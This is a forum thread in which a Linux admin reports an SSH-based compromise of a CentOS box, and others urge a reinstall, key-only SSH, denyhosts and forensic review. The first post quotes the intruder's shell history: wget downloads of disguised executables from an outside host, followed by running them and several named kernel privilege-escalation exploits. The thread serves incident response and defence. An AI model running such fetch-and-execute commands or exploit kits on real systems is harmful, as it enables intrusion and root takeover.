technick
Premium
join:2000-12-16
Loganville, GA
| Compromised...again...
One of my CentOS 4.2 boxes was compromised via ssh login. The best I can tell is someone guess my root password which was 12 characters & numbers all lowercase. How this happened, I don't know =\. I don't allow root logins so the person got mine and was able to execute his packages to gain root. Well anyways, on with the problems.
The creep downloaded two kits and attempted to run them, the first one from what I can tell didn't work. The second one did and gave them root access. I ran the same kits on a VM machine to test to see if it was anything to worry about and of course the kits gave them root access.
At this current moment, I am making a backup of the machine. I am 43% done with a massive rsync of the entire box. I set iptables to block all ssh access except to my static ip address. I think that should keep the creep off the box until I am done.
I would like to try to save the box from a format if possible. I ran rootkit hunter and of course it came back clean. Seeing this gives me less and less faith in the rootkit hunter program. Well anyways, I am attaching both of the packages this person used along with the history of how it happened.
Any recommendations of saving this box is greatly appreciated.
I will post more information as I discover them on this box.
Under /var/tmp it appears their are copies of these files.
The history for my user "Nick" (normal user)
618 w
619 hostname
620 ls
621 cd /tmp
622 ls
623 cat /prioc/cpu*
624 cat /proc/cpu*
625 w
626 cd
627 ls
628 cd vhosts/
629 ls
630 cd
631 cd /var/tmp
632 uname -a
633 w
634 ls
635 ls -al
636 wget necuratul.3x.ro/images/sex.bmp
637 chmod +xs sex.bmp
638 ./sex.bmp
639 wget necuratul.3x.ro/images/cip1.jpg
640 tar xvfz cip1.jpg
641 cd local/
642 cd linux_kernel/
643 ls
644 ./prctlpute
645 ./pwned
646 ls
647 ./k-rad3
648 ./uselib
649 ./elflbl
650 ls
651 ./ong_bak -10023
652 ./zmia-jul14-2006.sh
653 ls
654 ./pwned -h
I didn't see anything in the root history.
--
"Our greatest glory consists not in never falling, but in rising everytime we fall." - Confucius
Bellsouth Free Since 10/05 - To Hell With Bellsouth
Advocatus Diaboli
Streamfire.net |
|
donoreo
Premium
join:2002-05-30
North York, ON | I would reinstall at this point myself. I would not feel safe otherwise.
--
I cannot deny anything I did not say |
|
nixen
Rockin' the Boxen
Premium
join:2002-10-04
Alexandria, VA | reply to technick
Two times, now? Hmm... Sounds like someone has targeted you because they've found endemic flaws in your access control system.
Here's a suggestion: if this system is Internet reachable, don't allow password logins.
-tom |
|
deblin
Dark Side of the Moon
Premium,MVM
join:2001-09-01
Middletown, DE
| reply to technick
Are you allowing remote root logins? If so, turn that off! And as Tom suggested, use only PKA, not password auth.
I doubt they got in as the root account, if they had to run a rootkit to hack into the root account. More likely, they exploited a daemon you're running (apache / PHP are a likely candidate) and then with access to that user, they were able to gain root access.
What are you running on this machine?
--
"Hey honey! Do you think KFC's still open?" |
|
yock
TFTC
Premium
join:2000-11-21
Fairfield, OH
1 edit | reply to technick
This is sure to stir a heated debate.
Okay, here's the problem. You're using compromised tools on a compromised system to locate compromises. That doesn't fly. You have zero clue as to whether or not that command history is even accurate, let alone complete.
Post-mortem this box and start over.
Oh, and retire that password and come up with a better way of making them. Also, as others have suggested, turn to key-based authentication and disable password auth on this box.
--
Wiki Wiki
Laughter is the closest distance between two people. --Victor Borge |
|
MikeStammer
No prison can hold me
Premium
join:2002-12-26
Aurora, IL
1 edit | reply to technick
set up denyhosts as well as using public keys for authentication. |
|
phriday613
Your Avatar Is Nice... For Me To Poop On
Premium
join:2002-02-06
Eastchester, NY
clubs: |  reply to technick
and make sure this time, iptables or not, that you run a portscan on the box from an external host.. |
|
MxxCon
join:1999-11-19
Brooklyn, NY
clubs: 
1 edit | reply to technick
said by technick  :I would like to try to save the box from a format if possible. I ran rootkit hunter and of course it came back clean. Seeing this gives me less and less faith in the rootkit hunter program. Any recommendations of saving this box is greatly appreciated. see my previous experience in this forum to get similar help »How to find rootkit
--
[Sig removed by Administrator: Signature can not exceed 20GB] |
|
nixen
Rockin' the Boxen
Premium
join:2002-10-04
Alexandria, VA
 ·Cox HSI
 ·Speakeasy
1 edit | said by MxxCon :[DELETED] And, much like last time, you're STILL ignoring the fact that, once a box has been rooted, you simply don't KNOW to what extent it has been compromised. Can you, piecemeal, fix all the problems that you find? Sure you can. However, you don't necessarily know that those are all the problems.
If there's a reason that most of us have a "blind answer", it's because we've been around long enough to experience system attacks by more than just script kiddies trying to set up botnets. We've worked with systems that, because they weren't rebuilt, have exhibited problems MONTHS after they were thought fixed.
So, the "blind answer" still stands as the best answer for returning a given chunk of hardware to a "known good" state.
-tom
--
"Experience should teach us to be most on our guard to protect liberty when the government's purposes are beneficial. The greatest dangers to liberty lurk in insidious encroachment by men of zeal, well meaning but without understanding." -Louis D Brandeis |
|
firephoto
KDE
Premium
join:2003-03-18
·Verizon west (ex G..
| reply to technick
I will agree that re-installing is the best way to put the system back online but there still needs to be some effort put into finding the source or finding what really happened because I can't imagine one would be expected to re-create all the data that was part of whatever that box was doing.
So what is one looking for in the data on the compromised machine? How is all the user data cleaned or checked? Is there really no way to make sure it's safe?
--
Location: +48° 5' 23.40", -119° 48' 30.00" |
|
MxxCon
join:1999-11-19
Brooklyn, NY
clubs:
| reply to nixen
and have you learned anything from "blind reinstall"?
have you learned what went wrong on that system to prevent it in the future?
how would "blind reinstall" tell you that your php application was exploited or night-shift admin ran goatse.sh script?
--
[Sig removed by Administrator: Signature can not exceed 20GB] |
|
nixen
Rockin' the Boxen
Premium
join:2002-10-04
Alexandria, VA
·Cox HSI
·Speakeasy
| reply to firephoto
said by firephoto :I will agree that re-installing is the best way to put the system back online but there still needs to be some effort put into finding the source or finding what really happened because I can't imagine one would be expected to re-create all the data that was part of whatever that box was doing. So what is one looking for in the data on the compromised machine? How is all the user data cleaned or checked? Is there really no way to make sure it's safe? It really depends.
Overall, the best strategies for building a system are to keep the OS and the application data on different storage. That way, when the inevitable compromise comes, you can slide in a newly imaged OS disk and go.
Unfortunately, if that "data" includes application binaries, java applets, etc., things get a bit "muddied". A non script-kiddie could conceivably have tainted them such that, even after an OS reload/replacement, your data is still at risk.
Lastly, even if the initial attack was a script kiddie, that doesn't mean it was the only attack. It's really not uncommon for a REAL cracker to use the exploits put in place by the script kiddies to do some REALLY nasty and insidious shit to your systems. THAT type of stuff is what's so hard to ferret out to ensure a "safe" system. Heck, I've been involved in cases where they rebuild a system, then restore the data and java or other custom applications from tape, only to find out that something insidious happened six months previous that made the backups less than worthless.
-tom
--
"Experience should teach us to be most on our guard to protect liberty when the government's purposes are beneficial. The greatest dangers to liberty lurk in insidious encroachment by men of zeal, well meaning but without understanding." -Louis D Brandeis |
|
nixen
Rockin' the Boxen
Premium
join:2002-10-04
Alexandria, VA
·Cox HSI
·Speakeasy
| reply to MxxCon
said by MxxCon :and have you learned anything from "blind reinstall"? have you learned what went wrong on that system to prevent it in the future? how would "blind reinstall" tell you that your php application was exploited or night-shift admin ran goatse.sh script? Because "blind reinstall" does not assume that you're going to do it to the same damned disk. Typically, you take one half of a mirrored root set and pull it out. You take that disk and put it into a forensics box, then lay down a new OS on the original hardware. You get the production hardware back on duty quickly and preserve the compromised disk for inspection.
Is it really THAT hard for you to get through your thick skull?
-tom
--
"Experience should teach us to be most on our guard to protect liberty when the government's purposes are beneficial. The greatest dangers to liberty lurk in insidious encroachment by men of zeal, well meaning but without understanding." -Louis D Brandeis |
|
yock
TFTC
Premium
join:2000-11-21
Fairfield, OH
| reply to MxxCon
said by MxxCon :and have you learned anything from "blind reinstall"? have you learned what went wrong on that system to prevent it in the future? how would "blind reinstall" tell you that your php application was exploited or night-shift admin ran goatse.sh script? You learn those bits from perform post-mortem analysis.
»www.usyd.edu.au/su/is/comms/secu···ion.html
Read. Learn.
--
Wiki Wiki
Laughter is the closest distance between two people. --Victor Borge |
|
JohnInSJ
Premium
join:2003-09-22
San Jose, CA
·Comcast
1 edit | reply to MxxCon
said by MxxCon :said by technick :I would like to try to save the box from a format if possible. I ran rootkit hunter and of course it came back clean. Seeing this gives me less and less faith in the rootkit hunter program. Any recommendations of saving this box is greatly appreciated. see my previous experience in this forum to get similar help » How to find rootkit Nuke it from space. It's the only way to be sure.
--
My place : »www.schettino.us |
|
wafen
My woogie is Home
Premium,Mod
join:2001-02-01
Maplewood MN
clubs:
1 edit | reply to technick
Ok gentlemen, let's knock off the personal stuff! |
|
computx
Is it Friday yet?
Premium
join:2000-09-02
Kirksville, MO
| reply to technick
It is much easier to bar the door than to find all the rodents that got in afterwards.
1. Don't use password security if you can avoid it in any way.
2. If you must use password security, use mixed upper and lowercase plus numbers. Don't use words from the dictionary.
broadbandreports is 16 letters long but is based on dictionary words. scn9zx3Gyv may be rather hard to remember but won't be easily guessed by John the ripper, etc.
3. Don't allow root logins from ssh. Never
4. denyhosts is pretty easy to setup and can lock out the ssh script kiddies.
5. Any service that is running exposed to the net is at risk. If the only reason you have a service running is for use on the local lan, then make sure it is blocked via iptables or its own config from the net.
6. keep your system up to date, Religiously.
7. chkrootkit, root kit checker, aide, snort are all fine tools but once the box has been compromised they are useless as you have no way to tell they haven't been modified
8. Paranoia is your friend.
--
"Linux: the operating system with a CLUE...
Command Line User Environment".
|
|
jdong
Eat A Beaver, Save A Tree.
Premium
join:2002-07-09
Rochester, MI
clubs:
| reply to technick
It sounds extremely implausible that the compromise was achieved via ssh brute-forcing, especially given that your password is 12 characters long (I don't care if it's lowercase or not)
How did you arrive at this conclusion? Sure there wasn't an exploitable hole in a public service?
--
UbuntuForums Administrator: try Ubuntu Linux |
|
technick
Premium
join:2000-12-16
Loganville, GA
| reply to deblin
said by deblin :Are you allowing remote root logins? If so, turn that off! And as Tom suggested, use only PKA, not password auth. I doubt they got in as the root account, if they had to run a rootkit to hack into the root account. More likely, they exploited a daemon you're running (apache / PHP are a likely candidate) and then with access to that user, they were able to gain root access. What are you running on this machine? This machine is running CentOS 4.2 with the latest CentOS RHEL Kernel.
--
"Our greatest glory consists not in never falling, but in rising everytime we fall." - Confucius
Bellsouth Free Since 10/05 - To Hell With Bellsouth
Advocatus Diaboli
Streamfire.net |
|
deblin
Dark Side of the Moon
Premium,MVM
join:2001-09-01
Middletown, DE
| I meant, what software are you running on it? What apache version, PHP version, etc? What services are running on it that face the internet that are not filtered by your firewall, etc.
--
"Hey honey! Do you think KFC's still open?" |
|
